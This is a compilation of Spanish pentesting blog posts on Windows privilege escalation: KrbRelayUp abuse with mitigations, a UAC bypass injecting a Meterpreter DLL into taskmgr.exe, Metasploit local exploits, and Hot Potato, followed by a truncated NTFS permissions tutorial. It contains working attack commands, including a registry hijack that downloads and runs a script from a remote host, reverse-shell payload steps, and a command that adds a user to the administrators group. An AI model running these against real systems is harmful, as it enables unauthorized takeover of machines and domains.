KrbRelayUp PrivEsc: Escalada de privilegios local en entornos Active Directory y mitigación

KrbRelayUp es una herramienta que nos permite en una post-explotación la escala de privilegios locales en máquinas unidas a un dominio Active Directory y persistencia para realizar este privesc en cualquier máquina del dominio a través de movimientos laterales hasta llegar a la máquina objetivo, de ahí su criticidad y riesgo alto.

No se trata de una vulnerabilidad en sí con un CVE asignado, sino del aprovechamiento de un fallo de configuración por defecto de Windows por parte de los controladores de dominio.

Esta explotación es exitosa en cualquier máquina cliente Windows 10 bajo controladores de dominio Window Server 2012, 2016 y 2019. Actualmente Microsoft no ha dando solución con ningún parche de actualización. 

Más información en el repositorio del autor Mor Davidovich @dec0ne:

• https://github.com/Dec0ne/KrbRelayUp

Explotación (PoC)

Previamente debemos compilar el proyecto, dejo referencia del binario ya compilado KrbRelayUp.exe (fuente de la descarga: https://kb.offsec.nl/). La explotación es sumamente sencilla, una vez comprometida la máquina y descargado el ejecutable lanzamos el exploit. Hasta el momento el servicio de protección para ejecución malware de Windows no lo detecta.

Primera fase del ataque, el usuario de dominio autenticado y sin privilegios retransmitirá una petición Kerberos a LDAP y creará una máquina de control sobre la máquina local usando RBCD.

.\KrbRelayUp.exe relay -Domain <Domain> -CreateNewComputerAccount -ComputerName <hostName>$ -ComputerPassword <Password>

Segunda fase del ataque, utilizará la máquina creada de control para obtener un ticket de servicio de Kerberos y lo utilizará para crear un nuevo servicio que se ejecute como SYSTEM (en este caso está desarrollado para lanzar un cmd.exe).

.\KrbRelayUp.exe spawn -d <Domain> -cn <HostName>$ -cp <Password>

Figura 1: Escalada de privilegios local a SYSTEM usando KrbRelayUp.exe.

Si verificamos en la consola de Active Directory (dsa.msc) vemos como se ha creado una nueva máquina "host01". 

Aclarar que esta máquina será usada como persistencia en el dominio un posible atacante podría moverse lateralmente entre máquinas aprovechando el principio de localidad hasta llegar a una máquina servidor objetivo donde estuviese autenticado un usuario del grupo administradores de dominio o el propio administrador de dominio. Al poder escalar privilegios a SYSTEM sería más que posible realizar un volcado de hashes en memoria de dicha cuenta.

Por esta razón considero que se trata de algo crítico, con un alto riesgo de seguridad y que se debería subsanar lo antes posible. Más adelante veremos como mitigar esto.

Figura 2: Creación de la máquina maliciosa por parte de un usuario del dominio en Active Directory.

Detección (Event ID 4768)

Este artículo no está enfocado al detalle de detección, sino más bien a la explotación y mitigación de esta vulnerabilidad. Considero que en este caso es más eficiente realizar una mitigación para este fallo de configuración que generar las alertas de detección en nuestro SIEM.

La mitigación para esta vulnerabilidad tiene una sencilla implementación a nivel global de todo el dominio, sin embargo en las reglas de detección se nos puede escapar algo nuevo y que no se estaría alertando.

Uno de los logs que podemos registrar (en una configuración de Auditoría por defecto de AD) sería el evento 4768 "Solicitud de ticket de autenticación de Kerberos (TGT)". Donde el Account Name sería la creación de máquina en AD.

Figura 3: EventID 4768 - Autenticación Kerberos solicitud de ticket TGT del host malicioso

También he intentado buscar un evento estado buscando un evento 4741 "Creación de una cuenta de máquina", sin éxito. Es posible que la incorporación de Sysmon nos pueda dar más detalles para su detección y poder crear un indicador de compromiso válido.

Para el uso de reglas Sigma y otros eventos de Windows aconsejo consultar el repositorio donde se mantiene actualizada esta información.

• https://github.com/Dec0ne/KrbRelayUp#mitigation--detection

Mitigación y verificación

Para evitar el aprovechamiento de esta mala configuración por defecto en entornos de dominio, podemos elegir diversas opciones de mitigación:

• Opción 1. Requerir firma LDAP del servidor.
  
• Opción 2: Eliminar los permisos de los "usuarios autenticados" para que no puedan unir máquinas al dominio.
• Opción 3. Limitar el valor del atributo MS-DS-Machine-Account-Quota.

Opción 1. Requerir firma LDAP del servidor

Debemos aplicar únicamente la siguiente política en la GPO "Default Domain Controllers Policy":

Polices > Windows Settings > Security Settings > Local Polices > Security Options > "Domain controller: LDAP server signing requirements" y establecerla como "Require signing"

De esta forma se rechazan las solicitudes de LDAP simples y solicitudes LDAP a través de SSL. Esto puede tener impacto en sistemas Windows XP o Server 2003.

No es necesario aplicar ambas políticas: "Network Security: LDAP client signing requirements" y "Domain controller: LDAP server signing requirements" en la GPO Default Domain Policy.

Figura 4: Mitigación KrbRelayUp - Aplicar política "Domain controller: LDAP server signing requirements".

Verificamos la mitigación y vemos que al aplicar esta política la conexión LDAP falla. En la segunda fase del exploit tampoco es posible realizar la conexión solicitando el ticket Kerberos TGT para autenticarnos en la máquina creada y poder levantar la terminal privilegiada SYSTEM.

Aunque el ataque no fue exitoso, si ha sido posible crear una nueva máquina en el dominio, no nos daría persistencia ya que la autenticación no se va poder realizar en ningún caso, pero en caso de ejecutar el ataque se estarían creando de forma residual estas máquinas en la OU por defecto de "Computers".

Figura 5: Verificación mitigación - LDAP server signing requirements.

Opción 2. Eliminar los permisos de los "usuarios autenticados" para que no puedan unir máquinas al dominio

De todas las opciones de mitigación que se comentan en este artículo, es la que aplicaría por escalabilidad y gestión centralizada de permisos a través de grupos de seguridad de Active Directory.

Debemos aplicar únicamente la siguiente política en la GPO "Default Domain Controllers Policy":

Polices > Windows Settings > Security Settings > Local Polices > User Rights Assignment > "Add workstations to domain"

Por defecto esta política establece que todos los "usuarios autenticados" tienen la capacidad de unir máquinas al dominio. Un solución sería eliminar este grupo y agregar los grupos que autorizados para realizar esta tarea. En este caso agregué "Domain Admins" y un grupo específico creado en AD de este modo podremos agregar otros grupos o usuarios específicos y autorizados pudiendo así granular los permisos para realizar esta tarea.

Figura 6: Mitigación KrbRelayUp - Limitar permisos para la política "Add worksations to domain".

Con esta política propagada y aplicada en los DCs, si probamos a ejecutar nuevamente el exploit vemos que falla mostrando un mensaje de que el usuario no tiene permisos suficientes (esto se refiere a que no es posible que este usuario pueda crear máquinas unidas al dominio).

Lógicamente esta opción no llegará ni si quiera a crear la máquina en AD. Por lo que ya estaríamos eliminando una posible persistencia en el dominio por parte del atacante.

Figura 7: Verificación mitigación - Permisos insuficientes para poder unir máquinas al dominio.

Opción 3. Limitar el valor del atributo MS-DS-Machine-Account-Quota

Otra mitigación que dificultaría los requisitos del ataque sería limitar limitar el número de máquinas que un usuario pueda unir al dominio. Si optamos por esta opción debemos establecer un valor 0 al atributo del dominio ms-DS-MachineAccountQuota.

Este atributo lo podemos encontrar y editar directamente desde las propiedades del dominio en una consola de Active Directory (dsa.msc) o también acceder a él a través desde la consola de editor ADSI (adsiedit.msc).

Figura 8: Mitigación KrbRelayUp - Limitar el valor del atributo ms-DS-MachineAccountQuota.

Si verificamos la aplicación de este cambio vemos como al intentar ejecutar el exploit el servidor no puede gestionar esta solicitud, esto estaría bloqueando el ataque y tampoco crearía la máquina en AD evitando así, al igual que la opción anterior, una posible persistencia en el dominio.

Figura 9: Verificación mitigación - ms-DS-MachineAccountQuota = 0.

Si con el mismo usuario, desde otra máquina nueva, intentamos unirla al dominio de modo gráfico nos muestra el siguiente error indicando que "hemos superado el número máximo de cuentas de máquina que puedes crear o unir en este dominio".

Figura 10: Verificación mitigación - Mensaje de error al intentar unir una máquina al dominio.

¿Cómo identificar quién agregó un nueva maquina al dominio?

El usuario "user.sinpriv" es un usuario de dominio sin ningún otro privilegio otorgado, sin embargo el exploit hace uso del cmdlet New-AddComputer sumado a esta configuración por defecto en entornos de dominio este usuario puede crear máquinas en Active Directory. 

Podemos identificar y verificar quien a creado una máquina en AD examinando el atributo ms-DS-CreatorSID.

Get-ADComputer <Host> -Properties mS-DS-CreatorSID | Select-Object -Expandproperty mS-DS-CreatorSID | Select-Object -ExpandProperty Value | Foreach-Object {Get-ADUser -Filter {SID -eq $_}}

Figura 10: Identificar al usuario en la creación de nuevas máquinas unidas al dominio.

Saludos!

Bypass UAC usando DLL injection en taskmgr.exe aprovechando un fileless de eventvwr.exe (Vídeo PoC)

En un artículo anterior hablara de un bypass fileless en el binario sdclt.exe, también comentara la posibilidad de realizar este método al binario eventvwr.exe. En esta ocasión mostraré como realizar un bypass de UAC usando un DLL Injection aprovechando un método tipo fileless.

Bypass UAC tipo DLL Hijacking

Existen varios tipos de técnicas DLL Hijacking (sideloading, proxying, phantom), la finalidad es conseguir una escalda de privilegios o persistencia en un sistema. Consiste en hacer un "secuestro" de una DLL por la suplantación de otra DLL que ejecute un código arbitrario que le interese a un atacante. 

Cuando se invoca un proceso binario, este busca en los path por defecto configurados en el sistema en un determinado orden de consultas, si la DLL no es encontrada seguirá buscando en la siguiente ruta hasta encontrar la que necesita. Será en ese momento cuando un atacante se anticipe suplantando la DLL original, que no es encontrada en los paths habituales, por la DLL maliciosa. Si el binario se ejecuta en un contexto de integridad alto se consigue el mismo privilegio para esa DLL.

Es la misma idea que las técnicas fileless, teniendo en cuenta el atributo autoElevate a true en el manifest del binario y teniendo una política por defecto de UAC en Windows. 

DLL hijacking requiere escritura en disco por lo que no es tan silencioso como las técnicas fileless, pudiendo no pasar desapercibido por la detección de antivirus.

Como dije hay varios tipos de técnicas DLL hijacking, entre todas ellas está presente la inyección de una DLL, dependerá del contexto en el que se usen y la forma de aplicarlas. Una diferenciación podría ser algo como: 

• DLL Hijacking: "Suplantación" -secuestro- de una carga DLL existente en el proceso de ejecución de un binario.
• DLL Injection: Fuerza la inyección de una nueva DLL en el proceso de un binario previamente en ejecución.

Aprovechando un bypass UAC fileless para usar DLL injection en binarios que no son vulnerables a fileless

En el siguiente escenario no se realiza un DLL Hijacking, sino que se fuerza la inyección de una DLL maliciosa en un proceso binario existente.

Trataré de explicarlo brevemente. La intención es llevar a cabo una explotación local bypassuac sin ningún tipo de interacción por parte del usuario en la máquina comprometida aprovechando la debilidad fileless de casos como eventvwr.exe a otros binarios del sistema que tengan en su manifiesto el atributo AutoElevate a True pero que de forma simple no tienen un bypass tipo fileless, como es el caso de taskmgr.exe. Al ser un binario que se ejecuta en un contexto de integridad alto, se inyectará una DLL maliciosa que contendrá un payload con un Meterpreter estableciendo así una sesión privilegiada en la que podemos impersonar al usuario consiguiendo privilegios de NT AUTHORITY\SYSTEM.

Resumen de pasos del proceso:

1. Para obtener la sesión inicial de conexión a la máquina remota, se crea con msfvenom un binario que tendrá como payload un Meterpreter Windows 10 x64. Esto nos devolverá una sesión en contexto de integridad medio por lo que no podemos impersonar al usuario con getsystem y elevarnos a SYSTEM.
2. ¿Por qué el binario taskmgr.exe?. Comprobando el manifiesto del binario el atributo autoElevate está a true. Pero no existe bypass fileless para taskmgr.exe, sin embargo si para eventvwr.exe.
3. Desde la sesión Meterpreter cargamos los módulo Powershell y desde powershell_run se ejecuta el proceso del taskmgr.exe en modo oculto (-WindowStyle Hidden).
4. Se consulta el PID del proceso taskmgr.exe y se modifica en el script de la función Invoke-DllInjection alojada en un servidor web apache2 de la máquina Kali, este será el script que se ejecutará cuando se invoque el binario eventvwr.exe.
5. Desde powershell_import importamos el un script "eventvwr-reg.ps1" que creará la estructura de ramas del registro necesario para provocar el bypass fileless de eventvwr.exe, en su valor Default tendrá como dato un IEX (Invoke-Expression) con la creación de un nuevo objeto tipo WebClient que descargará en memoria la función Invoke-DllInjeciton de PowerSploit en una línea final del script se invoca esta función con el PID del proceso de taskmgr.exe que previamente hardcodeamos.

Script eventvwr-reg.ps1

$path = "HKCU:\Software\Classes\mscfile\shell\open\command"
$execute = "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -c `"IEX (New-Object Net.WebClient).DownloadString('http://10.0.0.1/codes/invoke-dllinjection.txt')`""
New-Item -Path $path -Force
New-ItemProperty -Path $path -Name '(Default)' -PropertyType String -Value $execute -Force | Out-Null

• 6. Desde Meterpreter con el comando Upload se envía la DLL que nos interesa a la máquina remota (en escritorio simplemente para que sea visible en momento de mostrar esta demo). Esta DLL contiene un shellcode de Meterpreter.
• 7. Siguiendo en la sesión 1, desde powershell_shell manualmente se inicia el proceso del visor de eventos, ejecutando así el eventvwr.exe que también ejecutará el IEX y descargará la función en memoria con la instrucción del PID asignado del proceso taskmgr.exe ejecutado anteriormente de forma oculta.
• 8. Finalmente se establecerá una nueva sesión Meterpreter pero esta vez la sesión establecida en el contexto de integridad alto del proceso de taskmgr.exe, como este tenía un autoElevate a true, podremos ahora impersonar al usuario en la segunda sesión Meterpreter y conseguir la escalada de privilegios a SYSTEM.

Vídeo demo - PoC

En el siguiente vídeo se muestran los pasos anteriores en detalle, llegando a entender mejor el proceso.

Vídeo: https://youtu.be/3H5WORk88vQ

Saludos!

Explotación local: Escalada de privilegios de 0 a SYSTEM con Metasploit

A diferencia de la explotación directa o intrusión directa y client-side donde el objetivo es la ejecución de código en una máquina remota con la finalidad de comprometer su seguridad y conseguir una conexión hacia dicha máquina.

En el contexto de Metasploit la explotación local tiene como objetivo el movimiento vertical que será la elevación o escalada de privilegios en una sesión previamente establecida en una máquina remota o directamente tenemos acceso físico a la máquina.

Tipos de explotación:

• Explotación local
• Bypass UAC

Con respecto a los usuarios de la máquina, nos podemos encontrar con 3 escenarios distintos:

• 1. Proceso en un contexto de integridad alto. Administrador (RID = 500):

Figura 1: Contexto de integridad alta.

Será el propio Administrador SYSTEM. O un usuario que pertenece al grupo administradores pero a ejecutado la aplicación como Administrador (botón derecho "Ejecutar como Administrador"). En cualquier caso ya estaríamos en una ejecución en un contexto de integridad alto. No hay una escalada de privilegios como tal pudiendo impersonar al usuario con el token de SYSTEM.

• 2. Proceso en un contexto de integridad medio. Usuario que pertenece al grupo Administradores (Bypass UAC):

Figura 2: Contexto de integridad medio.

El usuario pertenece al grupo Administrador. Pero no ejecuta en un ámbito de Administrador (botón derecho "Ejecutar como Administrador") sino que se ejecuta de forma normal, en un contexto integridad medio, por defecto es así. Y tiene la configuración por defecto establecida del UAC (User Account Control). En este escenario podremos hacer uso de los Bypasses de UAC para elevar privilegios.

• 3. Proceso en un contexto de integridad bajo. Usuario sin ningún privilegio:

Figura 3: Contexto de integridad bajo.

El usuario pertenece al grupo de Usuarios locales o Invitado sin ningún tipo de privilegio, se ejecuta en un contexto de integridad bajo. Es el caso más complejo ya que habrá que buscar alguna configuración débil en servicios, vulnerabilidades en el propio sistema operativo (falta de la aplicación de parches de seguridad), drivers, software que se esté ejecutando con privilegios, etc., que nos permiten elevarnos a SYSTEM.

Partiendo de la base de que ya disponemos de una sesión Meterpreter establecida en la máquina remota, expondré los diferentes escenarios comentados anteriormente.

1. Proceso en un contexto integridad alto. Administrador (RID = 500)

En este caso disponemos del usuarios Administrador SYSTEM el cual con la configuración por defecto de UAC ya ejecuta un proceso en integridad alto.

Listamos los permisos actuales (getprivs). Ejecutamos una shell dentro de Meterpreter para identificar a que grupo local pertenece.

Figura 4: Obtención de privilegios del usuario Administrador.

Vemos que ya forma parte del grupo de Administradores locales del sistema.

En esta situación podemos impersonar al usuario Administrador con getsystem y así concederle el token de SYSTEM. Dejamos la sesión Meterpreter en segundo plano (background) y comprobamos que en la misma sesión el usuario ahora es NT AUTHORITY\SYSTEM y no el Administrador que teníamos al principio.

Figura 5: Impersonar al usuario Administrador local con getsystem para obtener el token de SYSTEM.

2. Proceso contexto integridad medio. Usuario que pertenece al grupo Administradores (Bypass UAC)

En este escenario hemos conseguido una sesión Meterpreter remota con un usuario del sistema local que pertenece al grupo Administradores locales y que ha ejecutado el proceso comprometido sin privilegios (botón derecho ejecutar como Administrador) pero tiene establecida la configuración por defecto del UAC, por lo tanto podemos probar diversas técnicas para realizar un bypass de UAC tipo Fileless o DLL Hijacking.

Un bypass de UAC tipo fileless es más "silencioso" para los software de antimalware que pueda tener instalado el equipo ya que no realiza escritura en disco. Existen varios binarios nativos en Windows susceptibles a esta técnica, un ejemplo sería el "Bypass UAC Fileless usando AppPaths sdclt.exe".

Invocamos una shell dentro de la sesión y vemos que el usuario pertenece al grupo Administradores pero cuando listamos los privilegios (getprivs) vemos que son escasos donde el proceso se ejecutó en un nivel de integridad media y que efectivamente el proceso no se ejecutó como administrador.

Intentamos impersonar al usuario "admin" sin éxito. No podemos obtener el token de NT AUTHORITY\SYSTEM.

Figura 6: Intento de impersonar a un usuario que pertenece al grupo administradores locales.

Para la escalada de privilegios usaremos un bypass de UAC. Mediante el uso del editor de certificados de confianza se generará un proceso con el flag del UAC desactivado consiguiendo así un contexto de integridad alto. Esto dependerá de que tipo de sistema operativo Windows se trate, no es lo mismo un Windows 7/8/8.1/10 ya que los casos de byspass de UAC fileless dependerá de la existencia de los binarios en según que versiones.

Salimos de la sesión dejándola en background. Usamos el módulo "exploit/windows/local/bypassuac"  el cual hará un bypass UAC fileless (que afecta al "editor de certificados de confianza") y establecemos los parámetros del host local (nuestra máquina Kali), la sesión meterpreter, el payload (código que se va ejecutar) será un meterpreter reverse_tcp y lanzamos el exploit.

Si se cumplen las condiciones de que la configuración del UAC está por defecto y el usuario comprometido pertenece al grupo Administradores, el exploit tendrá éxito. Se creará una nueva sesión y si listamos los privilegios veremos que ya disponemos de privilegios más altos.

Figura 7: Obteniendo una sesión privilegiada con un Bypass de UAC tipo fileless.

Ahora ya podemos impersonar al usuario para obtener el token de SYSTEM. Si dejamos la sesión en background y listamos las sesiones actuales veremos la existencia de dos sesiones establecidas. Una con el token del usuario inicial "admin" y otra con el token de NT AUTHORITY\SYSTEM.

Figura 8: getsystem - Impersonar nuevamente al usuario para conseguir el token de SYSTEM.

Técnicas GETSYSTEM: Elevando privilegios con Meterpreter

Hay diversas técnicas utilizadas por Meterpreter para elevar privilegios de un administrador local a usuario SYSTEM.

1. Named Pipe Impersionation (In Memory/Admin)

Generado el canal con la víctima, se crea y ejecuta un servicio mediante cmd.exe, generando una suplantación del cliente basada en el servicio de SYSTEM.

2. Named Pipe Impersionation (Dropper/Admin)

A diferencia de la técnica 1, esta deja un archivo DLL en el disco y programa rundll32.exe como servicio para ejecutar el DLL como SYSTEM.

3. Token duplication (In Memory/Admin)

Hace un barrido por los servicios abiertos en la búsqueda de alguno que pueda ser ejecutado como SYSTEM y que adicionalmente tenga permisos para inyectar código, se utiliza la inyección de DLL para ejecutar elevator.dll en la memoria del servicio encontrado.

3. Proceso contexto integridad bajo. Usuario sin ningún privilegio

Este escenario sería el más complejo en cuanto a escalada de privilegios, pasaremos de 0 a SYSTEM sin utilizar ninguna técnica de bypass de UAC. Hemos comprometido un equipo remoto y tenemos una sesión Meterpreter de un proceso ejecutado por un usuario regular o "raso" sin privilegios, que pertenece al grupo "Usuarios" locales, aunque también podría pertenecer al grupo "Invitados" siendo este último el más restrictivo en el sistema en cuanto a permisos.

Deberemos encontrar alguna vulnerabilidad:

• Ya sea en el propio sistema operativo por falta de parcheo y carencia de algunas actualizaciones (será el que veremos en este ejemplo). 
• Vulnerabilidades en los drivers instalados.
• Alguna aplicación que se esté ejecutando en un contexto privilegiado.
• Servicios vulnerables por malas configuraciones (rutas absolutas no entrecomilladas, se detallan algunos ejemplos al final del artículo).

Desde un usuario no privilegiado listamos los permisos actuales (getprivs) y vemos que son muy limitados. Invocamos una shell para comprobar a que grupo pertenece y vemos que forma parte del grupo Usuarios locales.

Figura 9: Reconocimiento de permisos y pertenencia a grupos locales desde un usuario sin privilegios.

Desde la misma shell ejecutamos el comando "systeminfo". Nos mostrará varios detalles de interés, entre ellos las actualizaciones actuales instaladas en el sistema. En esta ocasión vemos que solo existe una sola KB instalada.

Copiamos toda la info que nos devuelve este comando a un fichero texto plano. (En este ejemplo se guardó en la máquina Kali en la ruta "/root/systeminfo27").

Figura 10: Comprobar las actualizaciones instaladas con systeminfo.

Existe un script en python llamado Windows Exploit Suggester con el cual podemos comparar el resultado del fichero guardado anteriormente con una base de datos xls actualizada.

https://github.com/AonCyberLabs/Windows-Exploit-Suggester

A partir del fichero que contiene el resultado del systeminfo, nos mostrará aquellas actualizaciones de seguridad que podremos explotar y que no estarían instaladas en la máquina comprometida. A parte del código de la propia vulnerabilidad, nos mostrará una breve descripción de lo que hace, su nivel de criticidad y los enlaces al boletín de seguridad de MS para obtener más detalles y/o enlaces al propio exploit en exploit-db.com.

Para reconocer las vulnerabilidades Windows Exploit Suggester emplea la siguiente tipificación:

• [*] Falta la actualización.
• [M] Existe un módulo en Metasploit.
• [E] Existe un exploit público que no está incorporado o importado en Metasploit.

Es totalmente recomendable que revisemos los expedientes o boletines de seguridad oficiales para entender lo que vamos a explotar, no tendría sentido empezar a probar exploits a loco porque seguramente perderíamos el control del proceso del test de intrusión.

Una vez descargo el script del repositorio de Github, actualizamos la base de datos. Se nos descargará un fichero en local con extensión xls o xlsx.

./windows-exploit-suggester.py --update

Ejecutamos el script indicándole la base de datos y el fichero almacenado que habíamos guardado con la información en plano del resultado de ejecutar el comando systeminfo.

python windows-exploit-suggester.py -d BASE_DE_DATOS.xlsx -i FICHERO_SYSTEMINFO

Figura 11: Windows Exploit Suggester - Resultado de posibles actualizaciones explotables en base al fichero systeminfo.

En este ejemplo haremos uso de la vulnerabilidad MS14_058 que ya dispone de un módulo integrado en Metasploit. 

Recogida en en la base de conocimiento KB3000061, código CVE-2014-4113 reconocida con un CVSS de 7.2. Exploit de Metasploit disponible en https://www.exploit-db.com/exploits/35101.

Figura 12: Vulnerabilidad MS14-058 incorpora un módulo en Metasploit.

Una vez identificada la vulnerabilidad que vamos a utilizar y que sabemos que ya dispone de un módulo en Metasploit que nos abstraerá de los detalles para explotarla. La buscamos usando el comando "search MSxx-xxx" y encontramos el módulo correspondiente llamado "exploit/windows/local/ms14_058_track_popup_menu".

Usamos el módulo, lo configuramos estableciendo la sesión, un payload tipo meterpreter/reverse_tcp y lo ejecutamos. Si hemos tenido éxito se establecerá un nueva sesión con un meterpreter, si comprobamos el id de usuario podemos ver que ya tenemos el token de NT AUTHORITY\SYSTEM.

Si dejamos la sesión en background veremos que tenemos dos sesiones con meterpreter establecidas, la inicial del usuario sinPrivilegio y esta última obtenida con SYSTEM.

Figura 13: Escalada de privilegios de 0 a SYSTEM obteniendo una sesión meterpreter aprovechándose de la vulnerabilidad MS14-058.

Servicios vulnerables por malas configuraciones

Algunos ejemplos aprovechándose de pequeños tricks en errores de configuración de servicios.

• Service Permissions

Cuando un binario invoca a un servicio este se convierte en un proceso. Puede darse el caso por el diseño o desarrollo de dicho servicio que en la carpeta donde se aloja dicho binario los permisos no sean suficientemente restrictivos un usuario puede modificar una dll o incluso el propio binario (siempre y cuando no esté en ejecución), entonces en el momento de volver iniciar el servicio este llamara a ese binario no legítimo que hubiésemos "suplantado" y lo ejecutará.

Metasploit dispone de un módulo llamado "exploit/windows/local/service_permissions" que lo que hace es automatizar la búsqueda. Lista todos los servicios y busca si los permisos de los directorios donde se alojan sus binarios son adecuados para poder se utilizados por un usuario y poder modificarlos.

• Trusted Service Path (rutas absolutas con espacios en blanco sin entrecomillar)

Existe otro módulo en Metasploit llamado "exploit/windows/local/trusted_service_path". Lista las rutas de los binarios que son ejecutados por los servicios de Windows con el objetivo de encontrar rutas que vayan sin comillas (C:\path\... vs. "C:\path\..."). Prácticamente todos los servicios se inician o detienen a través de un binario exe ya sea invocándolo directamente o con algún argumento adicional.

Figura 14: Docs Microsoft - Parámetro lpBinaryPathName en la API de Windows CreateService de Advapi32.dll.

Esto quiere decir que si tenemos una ruta absoluta sin entrecomillar que contenga algún espacio en blanco por ejemplo C:\Program Files\hello.exe, por defecto la API de Windows en su función "CreateService" de Advapi32.dll si existe una separación, espacio en blanco en la ruta, no la interpreta correctamente por lo que intentará encontrar el binario correspondiente en cada espacio en blanco hasta que finalmente ejecute el binario necesario para iniciar el servicio.

Siguiendo el ejemplo anterior sería C:\Program.exe si lo encuentra lo ejecuta sino lo encuentra seguirá hasta encontrarlo. Será en esos casos donde aprovecharemos para cargar el payload (shellcode) y que sea ejecutado, consiguiendo una sesión en un contexto elevado ya que estos binarios de servicios cuando son iniciados tienen una integridad de SYSTEM.

Si ya tenemos un sesión Meterpreter establecida con un usuario regular del sistema podemos ejecutar load powershell para cargar el módulo de Powershell e importar el siguiente código ya sea copiando y pegando directamente en una powershell_shell o a través de powershell_import la siguiente función.

$servicios = Get-WmiObject -Class win32_service
foreach ($elemento in $servicios)
{
    if ( (!$elemento.PathName.Equals("")) -and (!$elemento.PathName.Startswith("`"")) -and ($elemento.pathname -ne $null))
    {
        $binario = $elemento.PathName.Split(" ")[0]
     
        if ((!$binario.Contains(":\Windows")))
        {
            $elemento.PathName
            $elemento.Name
            $elemento.Status
            Write-Output "----------`n"
        }
    }
}

Esto nos permitirá listar aquellos servicios mal configurados en sus paths sin entrecomillar, generar un binario con msfvenom con un payload de Meterpreter por ejemplo y subirlo a través del comando upload a la máquina remota con la finalidad de sustituirlo y ponernos a la escucha con el handler de conexiones (exploit/multi/handler).

De modo que cuando se arranque el servicio nuevamente lo hará a través del usuario NT AUTHORITY\SYSTEM consiguiendo así una nueva sesión Meterpreter con el mayor privilegio.

Saludos!

Hot Potato: Elevación de privilegios en Windows

El equipo de Foxglovesecurity.com hace pocos días ha publicado en su blog un exploit el cual desde un usuario de nivel bajo puede elevar sus privilegios dentro de un sistema hasta el nivel más alto. Haciendo uso de una pequeña herramientas de comandos que estos denominaron como "Hot Potato".

Esto es posible a unos fallos de diseño de Windows que no están bien gestionados en el que se realizan tres ataques en uno. NBNS Spoofing (NetBios sobre TCP/IP o NetBios Name Service), WPAP (Web Proxy Autodiscovery Protocol) y HTTP > SMB NTLM Relay (autenticación NTLM de HTTP a SMB). Siendo posible que un usuario sin privilegios consiga una escalada de privilegios y obtenga el nivel de acceso "NT AUTHORITY\SYSTEM".

Como ejemplo en una máquina virtual con Windows 7 PRO de 32bits el cual tiene las configuraciones por defecto. Haciendo uso de Potato intentaré escalar a un usuario raso y hacerlo formar parte del grupo Administradores del sistema en un Windows 7.

Nos descargamos a local Potato abrimos una consola de comandos y comprobamos la dirección IP local y el usuario local de esa instancia el cual no tiene privilegios y es el usuario el cual queremos elevar sus permisos.

potato.exe -ip <local_ip> -disable_exhaust true -cmd "C:\\Windows\\System32\\cmd.exe /K net localgroups administradores <local_user> /add"

Figura 1: Uso de Hot Potato en Windows 7.

El uso de Hot Potato en Windows 10 o Windows Server los parámetros serían distintos, en la web de los desarrolladores hay más información para estos casos.

¿Mitigación a estos tres ataques?

Lo que podemos hacer para solucionar esto sería revisar el tráfico NBNS de nuestra red, para WPAD detener el servicio de detección automática de proxy web WinHTTP, y para NTLM forzar la autenticación de Kerberos y NTLMv2, forzar la política para firmar siempre comunicaciones SMB.

https://docs.microsoft.com/es-es/windows/security/threat-protection/security-policy-settings/smbv1-microsoft-network-server-digitally-sign-communications-always

https://docs.microsoft.com/es-es/windows/security/threat-protection/security-policy-settings/microsoft-network-server-digitally-sign-communications-always

Saludos!

Permisos NTFS: ACLs en cuentas de usuarios y grupos en Windows

Modificar permisos a usuarios y a grupos sobre objetos, privilegios a cuentas de usuarios y administradores en Windows.

Tenía pensado dividir este artículo en varias partes, ya que es extenso, pero para no tener comentarios en unas entradas y otras sobre el mismo tema, he decido incluir todo lo relacionado en el mismo post. A parte, a la hora de buscar en buscadores y en el blog se reflejará toda la información en un mismo artículo.

Como dije, este artículo es bastante extenso y completo. Por eso, cito un índice con los diferentes apartados o secciones de este post, un índice con enlaces internos (a esta página) que hacen referencia a todos los diferentes apartados.

Índice

• 1) Definiciones y conceptos.
• 1.A) Acceso a los archivos y directorios.
• 1.B) Tipos de cuentas de usuarios y grupos por defecto en Windows y sus SID.
• 2) Habilitar o deshabilitar cuenta de Administrador.
• 2.A) De manera gráfica.
• 2.B) Con la consola de comandos (CMD), Shell de Windows.
• 3) Modificar permisos o privilegios de usuarios o grupos locales.
• 3.A) Modificar permisos desde la sesión Administrador.
• 3.B) Modificar permisos desde la sesión "Usuario raso" (Propietarios de objetos).
• 3.C) Conflictos en permisos para un mismo usuario: Permitir y denegar.
• 3.D) Permisos heredables de objetos primarios.
• 4) Cambiar el tipo de cuenta: Usuarios o Administrador.
• 5) Habilitar y conceder permisos de Administrador, mediante la Shell de Windows (consola o símbolo de sistema CMD).
• 6) UAC (User Account Control "Control de cuentas de usuario").

Lecturas recomendables

• http://support.microsoft.com/kb/981949/es
• http://support.microsoft.com/kb/308419/es
• http://support.microsoft.com/kb/983628/es

El último enlace al que hago referencia, está muy completo ya que nos dice como modificar permisos de archivos o carpetas a usuarios, y es algo muy parecido a lo que voy comentar posteriormente en este artículo.

1) Definiciones y conceptos

1.A) Acceso a los archivos y directorios

Todo el tema de permisos que aquí muestro y explico se dan gracias al sistema de ficheros: NTFS (New Technology File System), uno de los sistemas de ficheros de Microsoft Windows, que permite un gran avance de seguridad en cuanto a las concesiones de permisos o privilegios de usuarios en Windows.

Herencia: La herencia permite la propagación de ACL posicionadas en objetos contenedores padres a sus hijos. Al crear una ACE, es posible precisar si se va aplicar al objeto, sólo a sus hijos (indicador de herencia solamente o Inherit Only) o al objeto en sí y a sus hijos.

Objetos: Un objeto es simplemente un elemento que puede asegurarse y protegerse mediante permisos. Puede tratarse de un archivo, un directorio, una clave de registro o un objeto de sistema, como una canalización con nombre, un socket, un proceso, un subproceso, etc.

ACL (Access Control List): Es una lista de control de acceso que regula los permisos de acceso a los objetos del sistem. Está compuesta por entradas de controles de acceso ACE

ACE (Access Control Entry): Una entrada de control de acceso es un elemento de una ACL. Una ACE está compuesta por un SID, una máscara de acceso que define los permisos concedidos al SID (ya sean: Lectura, escritura, etc.), un indicador que determina el tipo de ACE y otro indicador que determina a que objetos se refieren estos permisos.
Hay tres tipos de ACE: Acceso concedido, acceso denegado y Audit (para auditar la seguridad del sistema).

SD (Security Descriptor): Un descriptor de seguridad es la estructura vinculada a todo objeto al que se le puede aplicar seguridad que contiene el SID del propietario del objeto, su grupo primario y las dos listas de ACL: DACL y SACL.

DACL (Discretionary Access Control List): Una lista de control de acceso discrecional es la que está controlada por el propietario del objeto. Especifica quién tiene permiso y quién no para acceder a dicho objeto.

